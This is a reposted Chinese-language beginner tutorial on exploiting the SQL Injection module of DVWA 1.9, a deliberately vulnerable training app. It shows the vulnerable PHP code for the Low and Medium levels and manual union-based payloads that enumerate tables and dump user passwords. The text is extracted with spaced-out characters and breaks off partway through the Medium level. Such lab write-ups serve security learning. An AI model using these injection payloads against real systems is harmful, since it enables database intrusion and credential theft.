搜索

[10765] 2016-11-27_新手指南：DVWA-1.9全级别教程之SQLInjection

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2016-11-27_新手指南：DVWA-1.9全级别教程之SQLInjection 新 手 指 南 ： D V W A - 1 . 9 全 级 别 教 程 之 S Q L   I n j e c t i o n l o n e h a n d   F r e e B u f   2 0 1 6 - 1 1 - 2 7 目 前 ， 最 新 的 目 前 ， 最 新 的 D V W A 已 经 更 新 到 已 经 更 新 到 1 . 9 版 本 （ 版 本 （ 点 击 原 文 查 看 链 接 点 击 原 文 查 看 链 接 ） ， 而 网 上 的 教 程 大 多 停 留 在 旧 版 本 ， 且 没 有 针 对 ） ， 而 网 上 的 教 程 大 多 停 留 在 旧 版 本 ， 且 没 有 针 对 D V W A   h i g h 级 别 的 教 程 ， 因 此 萌 发 了 一 个 撰 写 新 手 教 程 的 想 法 ， 错 误 的 地 方 还 请 大 家 指 正 。 级 别 的 教 程 ， 因 此 萌 发 了 一 个 撰 写 新 手 教 程 的 想 法 ， 错 误 的 地 方 还 请 大 家 指 正 。 D V W A 简 介 简 介 D V W A 简 介 简 介 D V W A （ D a m n   V u l n e r a b l e   W e b   A p p l i c a t i o n ） 是 一 个 用 来 进 行 安 全 脆 弱 性 鉴 定 的 P H P / M y S Q L   W e b 应 用 ， 旨 在 为 安 全 专 业 人 员 测 试 自 己 的 专 业 技 能 和 工 具 提 供 合 法 的 环 境 ， 帮 助 w e b 开 发 者 更 好 的 理 解 w e b 应 用 安 全 防 范 的 过 程 。 D V W A 共 有 十 个 模 块 ， 分 别 是 B r u t e   F o r c e （ 暴 力 （ 破 解 ） ） C o m m a n d   I n j e c t i o n （ 命 令 行 注 入 ） C S R F （ 跨 站 请 求 伪 造 ） F i l e   I n c l u s i o n （ 文 件 包 含 ） F i l e   U p l o a d （ 文 件 上 传 ） I n s e c u r e   C A P T C H A   （ 不 安 全 的 验 证 码 ） S Q L   I n j e c t i o n （ S Q L 注 入 ） S Q L   I n j e c t i o n （ B l i n d ） （ S Q L 盲 注 ） X S S （ R e f l e c t e d ） （ 反 射 型 跨 站 脚 本 ） X S S （ S t o r e d ） （ 存 储 型 跨 站 脚 本 ） 需 要 注 意 的 是 ， D V W A   1 . 9 的 代 码 分 为 四 种 安 全 级 别 ： L o w ， M e d i u m ， H i g h ， I m p o s s i b l e 。 初 学 者 可 以 通 过 比 较 四 种 级 别 的 代 码 ， 接 触 到 一 些 P H P 代 码 审 计 的 内 容 。 D V W A 的 搭 建 的 搭 建 D V W A 的 搭 建 的 搭 建
F r e e b u f 上 的 这 篇 文 章 《 新 手 指 南 ： 手 把 手 教 你 如 何 搭 建 自 己 的 渗 透 测 试 环 境 》 （ h t t p : / / w w w . f r e e b u f . c o m / s e c t o o l / 1 0 2 6 6 1 . h t m l ） 已 经 写 得 非 常 好 了 ， 在 这 里 就 不 赘 述 了 。 B r u t e   F o r c e C o m m a n d   I n j e c t i o n C S R F F i l e   I n c l u s i o n F i l e   U p l o a d I n s e c u r e   C A P T C H A 本 文 介 绍 S Q L   I n j e c t i o n 模 块 的 相 关 内 容 ， 后 续 教 程 会 在 之 后 的 文 章 中 给 出 。 S Q L   I n j e c t i o n S Q L   I n j e c t i o n S Q L   I n j e c t i o n ， 即 S Q L 注 入 ， 是 指 攻 击 者 通 过 注 入 恶 意 的 S Q L 命 令 ， 破 坏 S Q L 查 询 语 句 的 结 构 ， 从 而 达 到 执 行 恶 意 S Q L 语 句 的 目 的 。 S Q L 注 入 漏 洞 的 危 害 是 巨 大 的 ， 常 常 会 导 致 整 个 数 据 库 被 “ 脱 裤 ” ， 尽 管 如 此 ， S Q L 注 入 仍 是 现 在 最 常 见 的 W e b 漏 洞 之 一 。 近 期 很 火 的 大 使 馆 接 连 被 黑 事 件 ， 据 说 黑 客 依 靠 的 就 是 常 见 的 S Q L 注 入 漏 洞 。 手 工 注 入 思 路 手 工 注 入 思 路 自 动 化 的 注 入 神 器 s q l m a p 固 然 好 用 ， 但 还 是 要 掌 握 一 些 手 工 注 入 的 思 路 ， 下 面 简 要 介 绍 手 工 注 入 （ 非 盲 注 ） 的 步 骤 。 1 . 判 断 是 否 存 在 注 入 ， 注 入 是 字 符 型 还 是 数 字 型 2 . 猜 解 S Q L 查 询 语 句 中 的 字 段 数 3 . 确 定 显 示 的 字 段 顺 序 4 . 获 取 当 前 数 据 库 5 . 获 取 数 据 库 中 的 表 6 . 获 取 表 中 的 字 段 名 7 . 下 载 数 据 下 面 对 四 种 级 别 的 代 码 进 行 分 析 。 L o w L o w 服 务 器 端 核 心 代 码 < ? p h p  
i f (   i s s e t (   $ _ R E Q U E S T [   ' S u b m i t '   ]   )   )   {           / /   G e t   i n p u t           $ i d   =   $ _ R E Q U E S T [   ' i d '   ] ;           / /   C h e c k   d a t a b a s e           $ q u e r y     =   " S E L E C T   f i r s t _ n a m e ,   l a s t _ n a m e   F R O M   u s e r s   W H E R E   u s e r _ i d   =   ' $ i d ' ; " ;           $ r e s u l t   =   m y s q l _ q u e r y (   $ q u e r y   )   o r   d i e (   ' < p r e > '   .   m y s q l _ e r r o r ( )   .   ' < / p r e > '   ) ;           / /   G e t   r e s u l t s           $ n u m   =   m y s q l _ n u m r o w s (   $ r e s u l t   ) ;           $ i       =   0 ;           w h i l e (   $ i   <   $ n u m   )   {                   / /   G e t   v a l u e s                   $ f i r s t   =   m y s q l _ r e s u l t (   $ r e s u l t ,   $ i ,   " f i r s t _ n a m e "   ) ;                   $ l a s t     =   m y s q l _ r e s u l t (   $ r e s u l t ,   $ i ,   " l a s t _ n a m e "   ) ;                   / /   F e e d b a c k   f o r   e n d   u s e r                   e c h o   " < p r e > I D :   { $ i d } < b r   / > F i r s t   n a m e :   { $ f i r s t } < b r   / > S u r n a m e :   { $ l a s t } < / p r e > " ;                   / /   I n c r e a s e   l o o p   c o u n t                   $ i + + ;           }           m y s q l _ c l o s e ( ) ;   }   ? >   可 以 看 到 ， L o w 级 别 的 代 码 对 来 自 客 户 端 的 参 数 i d 没 有 进 行 任 何 的 检 查 与 过 滤 ， 存 在 明 显 的 S Q L 注 入 。 漏 洞 利 用 漏 洞 利 用 现 实 攻 击 场 景 下 ， 攻 击 者 是 无 法 看 到 后 端 代 码 的 ， 所 以 下 面 的 手 工 注 入 步 骤 是 建 立 在 无 法 看 到 源 码 的 基 础 上 。 1 . 判 断 是 否 存 在 注 入 ， 注 入 是 字 符 型 还 是 数 字 型 判 断 是 否 存 在 注 入 ， 注 入 是 字 符 型 还 是 数 字 型 输 入 1 ， 查 询 成 功 ：
输 入 1 ’ a n d   ‘ 1 ’   = ’ 2 ， 查 询 失 败 ， 返 回 结 果 为 空 ： 输 入 1 ’ o r   ‘ 1 2 3 4   ’ = ’ 1 2 3 4 ， 查 询 成 功 ： 返 回 了 多 个 结 果 ， 说 明 存 在 字 符 型 注 入 。 2 . 猜 解 猜 解 S Q L 查 询 语 句 中 的 字 段 数 查 询 语 句 中 的 字 段 数 输 入 1 '   o r   1 = 1   o r d e r   b y   1   # ， 查 询 成 功 ：
输 入 1 '   o r   1 = 1   o r d e r   b y   2   # ， 查 询 成 功 ： 输 入 1 '   o r   1 = 1   o r d e r   b y   3   # ， 查 询 失 败 ： 说 明 执 行 的 S Q L 查 询 语 句 中 只 有 两 个 字 段 ， 即 这 里 的 F i r s t   n a m e 、 S u r n a m e 。 （ 这 里 也 可 以 通 过 输 入 u n i o n   s e l e c t   1 , 2 , 3 . . . 来 猜 解 字 段 数 ）
3 . 确 定 显 示 的 字 段 顺 序 确 定 显 示 的 字 段 顺 序 输 入 1 '   u n i o n   s e l e c t   1 , 2   # ， 查 询 成 功 ： 说 明 执 行 的 S Q L 语 句 为 s e l e c t   F i r s t   n a m e , S u r n a m e   f r o m   表   w h e r e   I D = ’ i d ’ . . . 4 . 获 取 当 前 数 据 库 获 取 当 前 数 据 库 输 入 1 '   u n i o n   s e l e c t   1 , d a t a b a s e ( )   # ， 查 询 成 功 ： 说 明 当 前 的 数 据 库 为 d v w a 。 5 . 获 取 数 据 库 中 的 表 获 取 数 据 库 中 的 表 输 入 1 '   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   # ， 查 询 成 功 ： 说 明 数 据 库 d v w a 中 一 共 有 两 个 表 ， g u e s t b o o k 与 u s e r s 。 6 . 获 取 表 中 的 字 段 名 获 取 表 中 的 字 段 名
输 入 1 '   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' u s e r s '   # ， 查 询 成 功 ： 说 明 u s e r s 表 中 有 8 个 字 段 ， 分 别 是 u s e r _ i d , f i r s t _ n a m e , l a s t _ n a m e , u s e r , p a s s w o r d , a v a t a r , l a s t _ l o g i n , f a i l e d _ l o g i n 。 7 . 下 载 数 据 下 载 数 据 输 入 1 '   o r   1 = 1   u n i o n   s e l e c t   g r o u p _ c o n c a t ( u s e r _ i d , f i r s t _ n a m e , l a s t _ n a m e ) , g r o u p _ c o n c a t ( p a s s w o r d )   f r o m   u s e r s   # ， 查 询 成 功 ： 这 样 就 得 到 了 u s e r s 表 中 所 有 用 户 的 u s e r _ i d , f i r s t _ n a m e , l a s t _ n a m e , p a s s w o r d 的 数 据 。 M e d i u m M e d i u m 服 务 器 端 核 心 代 码 < ? p h p   i f (   i s s e t (   $ _ P O S T [   ' S u b m i t '   ]   )   )   {           / /   G e t   i n p u t           $ i d   =   $ _ P O S T [   ' i d '   ] ;           $ i d   =   m y s q l _ r e a l _ e s c a p e _ s t r i n g (   $ i d   ) ;           / /   C h e c k   d a t a b a s e           $ q u e r y     =   " S E L E C T   f i r s t _ n a m e ,   l a s t _ n a m e   F R O M   u s e r s   W H E R E   u s e r _ i d   =   $ i d ; " ;           $ r e s u l t   =   m y s q l _ q u e r y (   $ q u e r y   )   o r   d i e (   ' < p r e > '   .   m y s q l _ e r r o r ( )   .   ' < / p r e > '   ) ;  
        / /   G e t   r e s u l t s           $ n u m   =   m y s q l _ n u m r o w s (   $ r e s u l t   ) ;           $ i       =   0 ;           w h i l e (   $ i   <   $ n u m   )   {                   / /   D i s p l a y   v a l u e s                   $ f i r s t   =   m y s q l _ r e s u l t (   $ r e s u l t ,   $ i ,   " f i r s t _ n a m e "   ) ;                   $ l a s t     =   m y s q l _ r e s u l t (   $ r e s u l t ,   $ i ,   " l a s t _ n a m e "   ) ;                   / /   F e e d b a c k   f o r   e n d   u s e r                   e c h o   " < p r e > I D :   { $ i d } < b r   / > F i r s t   n a m e :   { $ f i r s t } < b r   / > S u r n a m e :   { $ l a s t } < / p r e > " ;                   / /   I n c r e a s e   l o o p   c o u n t                   $ i + + ;           }           / / m y s q l _ c l o s e ( ) ;   }   ? >   可 以 看 到 ， M e d i u m 级 别 的 代 码 利 用 m y s q l _ r e a l _ e s c a p e _ s t r i n g 函 数 对 特 殊 符 号 x 0 0 , n , r , , ' , " , x 1 a 进 行 转 义 ， 同 时 前 端 页 面 设 置 了 下 拉 选 择 表 单 ， 希 望 以 此 来 控 制 用 户 的 输 入 。 漏 洞 利 用 漏 洞 利 用 虽 然 前 端 使 用 了 下 拉 选 择 菜 单 ， 但 我 们 依 然 可 以 通 过 抓 包 改 参 数 ， 提 交 恶 意 构 造 的 查 询 参 数 。 1 . 判 断 是 否 存 在 注 入 ， 注 入 是 字 符 型 还 是 数 字 型 判 断 是 否 存 在 注 入 ， 注 入 是 字 符 型 还 是 数 字 型
抓 包 更 改 参 数 i d 为 1 '   o r   1 = 1   # 报 错 ： 抓 包 更 改 参 数 i d 为 1   o r   1 = 1   # ， 查 询 成 功 ： 说 明 存 在 数 字 型 注 入 。 （ 由 于 是 数 字 型 注 入 ， 服 务 器 端 的 m y s q l _ r e a l _ e s c a p e _ s t r i n g 函 数 就 形 同 虚 设 了 ， 因 为 数 字 型 注 入 并 不 需 要 借 助 引 号 。 ） 2 . 猜 解 猜 解 S Q L 查 询 语 句 中 的 字 段 数 查 询 语 句 中 的 字 段 数
抓 包 更 改 参 数 i d 为 1   o r d e r   b y   2   # ， 查 询 成 功 ： 抓 包 更 改 参 数 i d 为 1   o r d e r   b y   3   # ， 报 错 ： 说 明 执 行 的 S Q L 查 询 语 句 中 只 有 两 个 字 段 ， 即 这 里 的 F i r s t   n a m e 、 S u r n a m e 。 3 . 确 定 显 示 的 字 段 顺 序 确 定 显 示 的 字 段 顺 序 抓 包 更 改 参 数 i d 为 1   u n i o n   s e l e c t   1 , 2   # ， 查 询 成 功 ： 说 明 执 行 的 S Q L 语 句 为 s e l e c t   F i r s t   n a m e , S u r n a m e   f r o m   表   w h e r e   I D = i d . . . 4 . 获 取 当 前 数 据 库 获 取 当 前 数 据 库 抓 包 更 改 参 数 i d 为 1   u n i o n   s e l e c t   1 , d a t a b a s e ( )   # ， 查 询 成 功 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理